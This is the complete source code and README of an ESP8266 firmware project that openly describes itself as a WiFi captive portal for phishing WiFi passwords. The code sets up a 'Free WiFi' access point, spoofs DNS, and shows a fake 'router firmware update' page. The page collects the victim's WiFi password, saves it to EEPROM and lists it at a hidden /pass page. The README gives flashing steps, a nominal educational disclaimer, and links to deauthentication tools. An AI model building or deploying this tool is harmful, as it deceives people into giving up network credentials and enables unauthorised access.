ESP8266 WiFi Captive Portal - WiFi captive portal for ESP8266 for phishing WiFi passwords

// ESP8266 WiFi Captive Portal
// By 125K (github.com/125K)

// Libraries
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <EEPROM.h>

// Default SSID name
const char* SSID_NAME = "Free WiFi";

// Default main strings
#define SUBTITLE "Router info."
#define TITLE "Update"
#define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally."
#define POST_TITLE "Updating..."
#define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.</br>Thank you."
#define PASS_TITLE "Passwords"
#define CLEAR_TITLE "Cleared"

// Init system settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(172, 0, 0, 1); // Gateway

String allPass = "";
String newSSID = "";
String currentSSID = "";

// For storing passwords in EEPROM.
int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time.
int passStart = 30;            // Starting location in EEPROM to save password.
int passEnd = passStart;       // Ending location in EEPROM to save password.


unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0;
DNSServer dnsServer; ESP8266WebServer webServer(80);

String input(String argName) {
  String a = webServer.arg(argName);
  a.replace("<","&lt;");a.replace(">","&gt;");
  a.substring(0,200); return a; }

String footer() {
  return "</div><div class=q><a>&#169; All rights reserved.</a></div>";
}

String header(String t) {
  String a = String(currentSSID);
  String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
    "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
    "div { padding: 0.5em; }"
    "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"
    "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }"
    "label { color: #333; display: block; font-style: italic; font-weight: bold; }"
    "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
    "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
    "textarea { width: 100%; }";
  String h = "<!DOCTYPE html><html>"
    "<head><title>" + a + " :: " + t + "</title>"
    "<meta name=viewport content=\"width=device-width,initial-scale=1\">"
    "<style>" + CSS + "</style>"
    "<meta charset=\"UTF-8\"></head>"
    "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>";
  return h; }

String index() {
  return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post><label>WiFi password:</label>"+
    "<input type=password name=m></input><input type=submit value=Start></form>" + footer();
}

String posted() {
  String pass = input("m");
  pass = "<li><b>" + pass + "</li></b>"; // Adding password in a ordered list.
  allPass += pass;                       // Updating the full passwords.

  // Storing passwords to EEPROM.
  for (int i = 0; i <= pass.length(); ++i)
  {
    EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM.
  }

  passEnd += pass.length(); // Updating end position of passwords in EEPROM.
  EEPROM.write(passEnd, '\0');
  EEPROM.commit();
  return header(POST_TITLE) + POST_BODY + footer();
}

String pass() {
  return header(PASS_TITLE) + "<ol>" + allPass + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}

String ssid() {
  return header("Change SSID") + "<p>Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.</p>" + "<form action=/postSSID method=post><label>New SSID name:</label>"+
    "<input type=text name=s></input><input type=submit value=\"Change SSID\"></form>" + footer();
}

String postedSSID() {
  String postedSSID = input("s"); newSSID="<li><b>" + postedSSID + "</b></li>";
  for (int i = 0; i < postedSSID.length(); ++i) {
    EEPROM.write(i, postedSSID[i]);
  }
  EEPROM.write(postedSSID.length(), '\0');
  EEPROM.commit();
  WiFi.softAP(postedSSID);
}

String clear() {
  allPass = "";
  passEnd = passStart; // Setting the password end location -> starting position.
  EEPROM.write(passEnd, '\0');
  EEPROM.commit();
  return header(CLEAR_TITLE) + "<div><p>The password list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}

void BLINK() { // The built-in LED will blink 5 times after a password is posted.
  for (int counter = 0; counter < 10; counter++)
  {
    // For blinking the LED.
    digitalWrite(BUILTIN_LED, counter % 2);
    delay(500);
  }
}

void setup() {
  // Serial begin
  Serial.begin(115200);

  bootTime = lastActivity = millis();
  EEPROM.begin(512);
  delay(10);

  // Check whether the ESP is running for the first time.
  String checkValue = "first"; // This will will be set in EEPROM after the first run.

  for (int i = 0; i < checkValue.length(); ++i)
  {
    if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i])
    {
      // Add "first" in initialCheckLocation.
      for (int i = 0; i < checkValue.length(); ++i)
      {
        EEPROM.write(i + initialCheckLocation, checkValue[i]);
      }
      EEPROM.write(0, '\0');         // Clear SSID location in EEPROM.
      EEPROM.write(passStart, '\0'); // Clear password location in EEPROM
      EEPROM.commit();
      break;
    }
  }

  // Read EEPROM SSID
  String ESSID;
  int i = 0;
  while (EEPROM.read(i) != '\0') {
    ESSID += char(EEPROM.read(i));
    i++;
  }

  // Reading stored password and end location of passwords in the EEPROM.
  while (EEPROM.read(passEnd) != '\0')
  {
    allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM.
    passEnd++;                             // Updating the end location of password in EEPROM.
  }

  WiFi.mode(WIFI_AP);
  WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));

  // Setting currentSSID -> SSID in EEPROM or default one.
  currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME;

  Serial.print("Current SSID: ");
  Serial.print(currentSSID);
  WiFi.softAP(currentSSID);

  // Start webserver
  dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP)
  webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); });
  webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); });
  webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); });
  webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); });
  webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); });
  webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); });
  webServer.begin();

  // Enable the built-in LED
  pinMode(BUILTIN_LED, OUTPUT);
  digitalWrite(BUILTIN_LED, HIGH);
}


void loop() {
  if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();}
dnsServer.processNextRequest(); webServer.handleClient(); }
ESP8266 WiFi Captive Portal

DISCLAIMER:
This project is for testing and educational purposes. Use it only against your own networks and devices. I don't take any responsibility for what you do with this program.

About this project
WiFi captive portal for the NodeMCU (ESP8266 Module) with DNS spoofing.

The built-in LED will blink 5 times when a password is posted.

Warning! Your saved passwords will not disappear when you restart/power off the ESP8266.

Note: If you want to see the stored passwords go to "172.0.0.1/pass". For changing the SSID, go to "172.0.0.1/ssid"

V. 2.0 (Fake sign-in): https://github.com/125K/ESP8266_WiFi_Captive_Portal_2.0


Installation (ESP8266 Flasher - Easy way)
Download ESP8266 Flasher.

Download the release.bin file.

Open the ESP8266 Flasher and select the Node MCU port


Then, go to the config tab and select the .bin file you've just downloaded.


Finally, go back to the first tab and press "Flash"

Your Node MCU is ready!

Installation (Arduino IDE)
Open your Arduino IDE and go to "File -> Preferences -> Boards Manager URLs" and paste the following link: http://arduino.esp8266.com/stable/package_esp8266com_index.json
Go to "Tools -> Board -> Boards Manager", search "esp8266" and install esp8266
Go to "Tools -> Board" and select your board"
Download and open the sketch "WiFi_Captive_Portal.ino"
You can optionally change some parameters like the SSID name and texts of the page like title, subtitle, and text body...
Upload the code to your board.
You are done!

Check out 125K's other projects
WiFi-Spam: 📧📡 Spam thousands of WiFi access points with custom SSIDs.
https://github.com/125K/WiFi-Spam

PwrDeauther: ⚡ Deauth a specific WiFi access point or an entire channel.
https://github.com/125K/PwrDeauther